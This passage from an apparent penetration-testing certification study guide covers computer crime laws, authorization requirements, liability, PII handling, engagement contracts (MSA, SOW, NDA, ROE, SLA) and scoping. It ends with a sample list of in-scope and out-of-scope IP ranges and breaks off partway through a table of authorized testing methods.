&lt;p&gt;The UK does not have a specific "authorized access" defense in the CMA. This means that even with a client's permission, if the tester accesses systems that technically belong to a third party (e.g., a cloud hosting provider), they may be at legal risk without the provider's authorization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;European Union — Directive on Attacks Against Information Systems (2013/40/EU):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Harmonizes EU member states' criminal law on cybercrime. Requires member states to criminalize:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Illegal access to information systems&lt;/li&gt;
&lt;li&gt;Illegal system interference&lt;/li&gt;
&lt;li&gt;Illegal data interference&lt;/li&gt;
&lt;li&gt;Illegal interception&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Australia — Criminal Code Act 1995:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Part 10.7 covers computer offenses. Similar to CFAA, criminalizes unauthorized access and modification of computer data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Canada — Criminal Code (Sections 342.1 and 430):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Section 342.1 covers unauthorized use of a computer. Section 430 covers mischief related to data (impairment, interference, obstruction, or denial of access).&lt;/p&gt;


&lt;h4&gt;
  
  
  Key Principle: Authorization is the Legal Foundation
&lt;/h4&gt;

&lt;p&gt;The singular most important legal concept in penetration testing is &lt;strong&gt;authorization&lt;/strong&gt;. Without explicit, documented authorization from the party with legal authority over the target systems, any penetration testing activity — regardless of intent — may constitute a criminal offense.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization must be:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Written&lt;/strong&gt; — verbal agreements have no legal standing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Specific&lt;/strong&gt; — clearly defining what systems, addresses, and methods are authorized&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signed&lt;/strong&gt; — by a person with actual legal authority (not just technical access)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time-bounded&lt;/strong&gt; — specifying exact dates and times when testing is authorized&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retained&lt;/strong&gt; — kept on file by both parties indefinitely&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  Export Controls and Cryptography
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;EAR — Export Administration Regulations:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
U.S. regulations controlling the export of "dual-use" goods — items with both civilian and military applications. Many penetration testing tools contain cryptographic components that are subject to export controls. Tools using strong encryption may require export licenses before being used internationally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ITAR — International Traffic in Arms Regulations:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Controls the export of defense-related articles and services. Advanced offensive security tools and techniques may be classified under ITAR in some contexts.&lt;/p&gt;


&lt;h3&gt;
  
  
  2.1.4 Legal Concepts in Penetration Testing
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Authorization and Permission to Test
&lt;/h4&gt;

&lt;p&gt;The fundamental legal principle that distinguishes ethical hacking from criminal hacking is &lt;strong&gt;authorization&lt;/strong&gt;. A penetration tester must obtain explicit, written permission from the entity that has the legal right to grant such permission.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who has the authority to authorize a penetration test?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is a critical question. The wrong answer can invalidate the entire engagement from a legal perspective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Correct authorizers include:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The owner of the systems being tested&lt;/li&gt;
&lt;li&gt;A corporate officer (CIO, CTO, CISO, CEO) with authority over IT systems&lt;/li&gt;
&lt;li&gt;Legal counsel acting with explicit authority&lt;/li&gt;
&lt;li&gt;A board-level resolution authorizing the engagement (for highly sensitive or large-scale tests)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Incorrect or insufficient authorizers include:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A system administrator (they manage systems but may not own them legally)&lt;/li&gt;
&lt;li&gt;An IT manager without C-suite authority&lt;/li&gt;
&lt;li&gt;A project manager without explicit authorization&lt;/li&gt;
&lt;li&gt;A client contact who cannot produce evidence of their authority&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Third-Party Systems:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many organizations use third-party services (cloud providers, CDNs, ISPs, managed service providers). If these third-party systems are in scope, authorization must be obtained from &lt;strong&gt;both&lt;/strong&gt; the client organization and the third-party provider. This is particularly important for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cloud infrastructure (AWS, GCP, Azure)&lt;/li&gt;
&lt;li&gt;Co-located data centers&lt;/li&gt;
&lt;li&gt;Managed security service providers (MSSPs)&lt;/li&gt;
&lt;li&gt;CDN providers (Cloudflare, Akamai)&lt;/li&gt;
&lt;li&gt;Internet Service Providers (ISPs)&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  Liability
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Liability&lt;/strong&gt; refers to legal responsibility for an act or omission. In penetration testing, liability can arise when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The tester causes unintended damage to systems or data (negligence liability)&lt;/li&gt;
&lt;li&gt;The test goes beyond the agreed scope (contract liability)&lt;/li&gt;
&lt;li&gt;Confidential data accessed during the test is improperly handled or disclosed (breach of confidentiality)&lt;/li&gt;
&lt;li&gt;The tester discovers evidence of a crime and fails to handle it appropriately&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Limiting Liability:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Liability is managed contractually through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Indemnification clauses&lt;/strong&gt; — the client agrees to hold the tester harmless for specified actions taken within scope&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Limitation of liability clauses&lt;/strong&gt; — caps the maximum damages the tester can be held liable for&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Insurance&lt;/strong&gt; — professional indemnity (errors and omissions) insurance and cybersecurity liability insurance&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  Intellectual Property (IP) Considerations
&lt;/h4&gt;

&lt;p&gt;During a penetration test, the tester may encounter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source code&lt;/li&gt;
&lt;li&gt;Trade secrets&lt;/li&gt;
&lt;li&gt;Patents and patent applications&lt;/li&gt;
&lt;li&gt;Proprietary algorithms&lt;/li&gt;
&lt;li&gt;Unreleased products or business plans&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This information is the client's intellectual property. The tester has no right to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Copy or retain this information beyond what is necessary for the engagement&lt;/li&gt;
&lt;li&gt;Use this information for any purpose other than the engagement&lt;/li&gt;
&lt;li&gt;Disclose this information to any third party without the client's written consent&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The engagement agreement must include provisions governing how discovered IP is handled, retained, and destroyed at engagement conclusion.&lt;/p&gt;


&lt;h4&gt;
  
  
  Personally Identifiable Information (PII)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;PII&lt;/strong&gt; is any information that can be used to identify a specific individual. During a penetration test — particularly those involving databases, file servers, email systems, or web applications — the tester will inevitably encounter PII.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples of PII:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Full names&lt;/li&gt;
&lt;li&gt;Social Security Numbers (SSN)&lt;/li&gt;
&lt;li&gt;Driver's license numbers&lt;/li&gt;
&lt;li&gt;Passport numbers&lt;/li&gt;
&lt;li&gt;Financial account numbers&lt;/li&gt;
&lt;li&gt;Medical record numbers&lt;/li&gt;
&lt;li&gt;Biometric data&lt;/li&gt;
&lt;li&gt;Precise geolocation data&lt;/li&gt;
&lt;li&gt;IP addresses (in some jurisdictions)&lt;/li&gt;
&lt;li&gt;Email addresses combined with other identifiers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Obligations when PII is encountered:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Stop processing the PII immediately upon recognition&lt;/li&gt;
&lt;li&gt;Note the location and type of PII found (for the report) without retaining the actual data&lt;/li&gt;
&lt;li&gt;Notify the client contact immediately&lt;/li&gt;
&lt;li&gt;Document the discovery in the engagement log&lt;/li&gt;
&lt;li&gt;Do not copy, store, transmit, or use the PII for any purpose&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Failure to properly handle discovered PII during a penetration test can expose both the tester and the client organization to regulatory sanctions under GDPR, HIPAA, CCPA, and other privacy laws.&lt;/p&gt;


&lt;h3&gt;
  
  
  2.1.5 Contracts and Agreements
&lt;/h3&gt;

&lt;p&gt;Penetration testing engagements involve multiple layers of contractual documentation. Understanding each document, its purpose, and its legal implications is essential for professional practice.&lt;/p&gt;


&lt;h4&gt;
  
  
  MSA — Master Service Agreement
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Master Service Agreement&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Also known as:&lt;/strong&gt; Master Agreement, Framework Agreement&lt;/p&gt;

&lt;p&gt;An MSA is a contract that establishes the general terms and conditions under which a service provider and a client will work together. It is a high-level document that governs the overall business relationship, not a specific project.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Typical MSA Contents:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Payment terms and invoicing schedules&lt;/li&gt;
&lt;li&gt;Intellectual property ownership&lt;/li&gt;
&lt;li&gt;Confidentiality obligations&lt;/li&gt;
&lt;li&gt;Indemnification and limitation of liability provisions&lt;/li&gt;
&lt;li&gt;Dispute resolution mechanisms (arbitration, governing law)&lt;/li&gt;
&lt;li&gt;Warranty disclaimers&lt;/li&gt;
&lt;li&gt;Termination conditions&lt;/li&gt;
&lt;li&gt;Insurance requirements&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why MSAs Matter:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An MSA is executed once and governs all future engagements between the parties. Individual projects are then governed by &lt;strong&gt;Statements of Work (SOWs)&lt;/strong&gt; that reference the MSA. This streamlines the contracting process — you don't need to renegotiate fundamental terms for every new project.&lt;/p&gt;

&lt;p&gt;If you are working for a penetration testing firm, the MSA is the foundational contract that must be in place before any testing can begin with a new client.&lt;/p&gt;


&lt;h4&gt;
  
  
  SOW — Statement of Work
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Statement of Work&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Also known as:&lt;/strong&gt; Work Order, Project Agreement, Scope of Work&lt;/p&gt;

&lt;p&gt;A SOW is a formal document that describes the specific work to be performed, the deliverables to be produced, the timeline, and the compensation. It operates within the framework of the MSA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical Elements of a Penetration Testing SOW:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Scope Definition&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exactly which systems, networks, applications, or physical locations are in scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Out-of-Scope Items&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Explicitly listing what is excluded from the test&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Testing Methods&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Types of testing authorized (network, web application, social engineering, physical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Testing Timeframe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specific dates and times when testing is authorized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Testing Environment&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Production vs. non-production; any restrictions during business hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Point of Contact (POC)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Primary client contact for the engagement, emergency escalation contact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Deliverables&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;What reports will be produced, in what format, by what deadline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Handling of Discovered Credentials&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;What to do if valid credentials are found or obtained&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Handling of Critical Vulnerabilities&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Process for immediate notification if a critical vulnerability is discovered during testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data Handling and Retention&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;How data collected during the test will be handled, stored, and destroyed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Payment Schedule&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Milestone-based or time-based payment terms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Acceptance Criteria&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;How the client will formally accept and approve deliverables&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The SOW as Legal Protection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The SOW is the single most important document protecting the penetration tester. If tested within the scope defined in the SOW, the tester is operating with explicit client authorization. Any action outside the SOW is potentially unauthorized and could constitute criminal activity.&lt;/p&gt;


&lt;h4&gt;
  
  
  NDA — Non-Disclosure Agreement
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Non-Disclosure Agreement&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Also known as:&lt;/strong&gt; Confidentiality Agreement (CA), Proprietary Information Agreement (PIA)&lt;/p&gt;

&lt;p&gt;An NDA is a legally binding contract establishing a confidential relationship between parties. The party signing the NDA agrees not to disclose any confidential information obtained through the relationship.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types of NDAs:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unilateral (One-Way)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;One party (the penetration tester) agrees not to disclose information received from the other party (the client). This is the most common type in penetration testing engagements.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bilateral (Mutual)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Both parties agree to confidentiality. Used when both sides will be sharing proprietary information.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Multilateral&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Three or more parties, where at least one party anticipates disclosing information to the others&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What NDAs Protect in Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerability findings and technical details&lt;/li&gt;
&lt;li&gt;System architecture and network topology information&lt;/li&gt;
&lt;li&gt;Business processes and procedures&lt;/li&gt;
&lt;li&gt;Personnel information discovered during social engineering tests&lt;/li&gt;
&lt;li&gt;Client's security posture and control weaknesses&lt;/li&gt;
&lt;li&gt;Proprietary tools or methods disclosed by the tester&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key NDA Provisions to Understand:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Definition of Confidential Information&lt;/strong&gt; — What exactly is covered by the NDA. Broad definitions protect more.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exclusions from Confidentiality&lt;/strong&gt; — Information that is already public, independently developed by the receiving party, or received from a third party without restriction&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Duration&lt;/strong&gt; — How long the confidentiality obligation lasts (typically 2-5 years, sometimes indefinitely for certain categories)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Permitted Disclosures&lt;/strong&gt; — Disclosures required by law or court order; these provisions often require notice to the other party&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Return/Destruction of Information&lt;/strong&gt; — Requirements to return or destroy confidential materials at engagement conclusion&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remedies&lt;/strong&gt; — NDAs typically provide for injunctive relief (court order to stop disclosure) as a remedy, since monetary damages may be inadequate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Signing Authority:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An NDA must be signed by a person with the legal authority to bind the organization. A standard employee signing an NDA may not have sufficient authority if the organization later challenges the agreement.&lt;/p&gt;


&lt;h4&gt;
  
  
  Rules of Engagement (ROE) Document
&lt;/h4&gt;

&lt;p&gt;While formally part of scoping (discussed in Section 2.2), the ROE document functions as a contractual annex to the SOW. It translates the high-level scope definitions into specific technical permissions and prohibitions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ROE Document Typical Contents:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authorized IP address ranges and hostnames&lt;/li&gt;
&lt;li&gt;Authorized attack types (network exploitation, social engineering, physical)&lt;/li&gt;
&lt;li&gt;Prohibited actions (denial of service, data exfiltration, specific systems)&lt;/li&gt;
&lt;li&gt;Emergency stop procedures (how the client can immediately halt testing)&lt;/li&gt;
&lt;li&gt;Communication protocols and escalation procedures&lt;/li&gt;
&lt;li&gt;Testing windows (specific dates and times)&lt;/li&gt;
&lt;li&gt;IP addresses and hostnames of the testing team (for client to whitelist in IDS/IPS)&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  SLA — Service Level Agreement
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Service Level Agreement&lt;/p&gt;

&lt;p&gt;An SLA is a commitment between a service provider and a client that defines the expected level of service. In the context of penetration testing and managed security services, SLAs define:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Response time commitments (e.g., within 4 hours of critical vulnerability discovery)&lt;/li&gt;
&lt;li&gt;Reporting deadlines&lt;/li&gt;
&lt;li&gt;Availability of the testing team&lt;/li&gt;
&lt;li&gt;Escalation timeframes&lt;/li&gt;
&lt;li&gt;Remediation verification timelines (for retesting)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SLA Metrics Commonly Used:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RTO — Recovery Time Objective&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Maximum acceptable time to restore a system or service after disruption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RPO — Recovery Point Objective&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Maximum acceptable data loss measured in time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MTTR — Mean Time to Repair&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Average time to restore a failed system&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MTBF — Mean Time Between Failures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Average time between system failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Uptime Percentage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Percentage of time a service is available (e.g., 99.9% = ~8.7 hours downtime/year)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h4&gt;
  
  
  Additional Contract Documents
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;LOA — Letter of Authorization:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A specific document authorizing a defined party (the penetration testing firm or individual tester) to conduct testing activities. Used in addition to the full contract suite, particularly when third-party service providers (e.g., hosting companies) require proof of authorization before allowing testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BAA — Business Associate Agreement:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Required under HIPAA. Any third party that handles Protected Health Information (PHI) on behalf of a covered entity must sign a BAA. A penetration testing firm that may encounter ePHI during a healthcare engagement must have a BAA in place before testing begins.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DPA — Data Processing Agreement:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Required under GDPR. If a penetration testing firm may process personal data of EU residents, a DPA between the firm (processor) and the client (controller) must be executed.&lt;/p&gt;


&lt;h3&gt;
  
  
  2.1.6 Disclaimers
&lt;/h3&gt;

&lt;p&gt;Penetration testing reports and pre-engagement documents must contain specific disclaimers to properly communicate the limitations of the testing and protect both the tester and the client.&lt;/p&gt;
&lt;h4&gt;
  
  
  Standard Disclaimers in Penetration Testing Documentation
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;"Point-in-Time" Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Penetration testing represents the security posture of an organization at a specific moment in time. A new vulnerability may be disclosed the day after a test concludes. Reports must clearly state the testing period and explicitly note that findings are valid as of the test date only.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Example disclaimer language:&lt;/em&gt;&lt;br&gt;&lt;br&gt;
"This report reflects the security posture of the target environment as assessed during the testing period [START DATE] to [END DATE]. The findings contained herein are accurate as of the date of this report. The security posture of the environment may change subsequent to the completion of this assessment."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scope Limitation Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Explicitly states that the test was limited to the systems, networks, and methods defined in the scope of work. The absence of findings for out-of-scope systems does not imply those systems are secure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No Guarantee Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The penetration test cannot guarantee that all vulnerabilities have been discovered. Penetration testing is a sampling methodology, not an exhaustive mathematical proof of security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Report Confidentiality Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
States that the report contains sensitive security information and must be handled in accordance with the NDA. Distribution should be limited to authorized personnel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"No Active Exploitation of Production Systems" Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
When testing is conducted in non-destructive mode (i.e., vulnerabilities are identified but not actively exploited to the point of compromising production systems), this must be explicitly stated to avoid the client interpreting findings as confirmed breaches.&lt;/p&gt;


&lt;h2&gt;
  
  
  2.2 Explaining the Importance of Scoping and Organizational or Customer Requirements
&lt;/h2&gt;
&lt;h3&gt;
  
  
  2.2.1 Overview — Why Scoping Matters
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scoping&lt;/strong&gt; is the process of defining the exact boundaries of a penetration testing engagement — what will be tested, what will not be tested, what methods are permitted, and what level of access is granted.&lt;/p&gt;

&lt;p&gt;Poor scoping is the single most common cause of failed penetration testing engagements. The consequences of poorly defined scope include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For the penetration tester:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Potential criminal liability for testing systems beyond authorization&lt;/li&gt;
&lt;li&gt;Civil liability for damage caused to out-of-scope systems&lt;/li&gt;
&lt;li&gt;Professional reputation damage&lt;/li&gt;
&lt;li&gt;Loss of certification&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For the client:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Wasted budget on testing that doesn't address actual risk areas&lt;/li&gt;
&lt;li&gt;False sense of security&lt;/li&gt;
&lt;li&gt;Potential regulatory violations if required systems are not tested&lt;/li&gt;
&lt;li&gt;Disruption to production systems if critical systems are accidentally impacted&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For the business relationship:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Contract disputes over deliverables&lt;/li&gt;
&lt;li&gt;Engagement termination&lt;/li&gt;
&lt;li&gt;Legal action between parties&lt;/li&gt;
&lt;/ul&gt;


&lt;h3&gt;
  
  
  2.2.2 Rules of Engagement (ROE)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Rules of Engagement (ROE)&lt;/strong&gt; define the specific technical and procedural parameters within which a penetration test will be conducted. ROE documents translate the high-level scope defined in the SOW into specific, actionable guidelines for the testing team.&lt;/p&gt;
&lt;h4&gt;
  
  
  Why ROE Documents are Critical
&lt;/h4&gt;

&lt;p&gt;The ROE document serves multiple functions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Legal protection&lt;/strong&gt; — Provides specific authorization for specific actions at specific times&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technical guidance&lt;/strong&gt; — Tells testers exactly what they can and cannot do&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Client protection&lt;/strong&gt; — Ensures the client has full visibility and control over the test&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Emergency procedures&lt;/strong&gt; — Defines how to immediately stop the test if needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Communication framework&lt;/strong&gt; — Establishes clear lines of communication between testing and client teams&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  Key Elements of ROE Documents
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Testing Window:&lt;/strong&gt;&lt;br&gt;
Specific dates and times when testing is authorized. This is critical because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Testing outside authorized windows is unauthorized&lt;/li&gt;
&lt;li&gt;Production systems may have maintenance windows during which testing is prohibited&lt;/li&gt;
&lt;li&gt;Time zone differences must be explicitly specified (e.g., "UTC-5 / Eastern Standard Time")&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Authorized IP Ranges:&lt;/strong&gt;&lt;br&gt;
The exact IP addresses or CIDR blocks that may be targeted. This must be precise — testing a single unauthorized IP address is potentially a criminal act.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Authorized Target IP Ranges&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="s"&gt;10.0.0.0/8 (internal corporate network)&lt;/span&gt;
  &lt;span class="s"&gt;192.168.1.0/24 (DMZ)&lt;/span&gt;
  &lt;span class="s"&gt;203.0.113.50 (external web server)&lt;/span&gt;

&lt;span class="na"&gt;Out-of-Scope IP Ranges&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="s"&gt;10.100.0.0/16 (production payment processing — DO NOT TEST)&lt;/span&gt;
  &lt;span class="s"&gt;10.200.0.0/24 (hospital network — DO NOT TEST)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Authorized Testing Methods:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Included in Scope?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Network port scanning&lt;/td&gt;
&lt;td&gt;✓ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability scanning&lt;/td&gt;
&lt;td&gt;✓ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web application testing&lt;/td&gt;
&lt;td&gt;✓ Yes&lt;/td&gt;
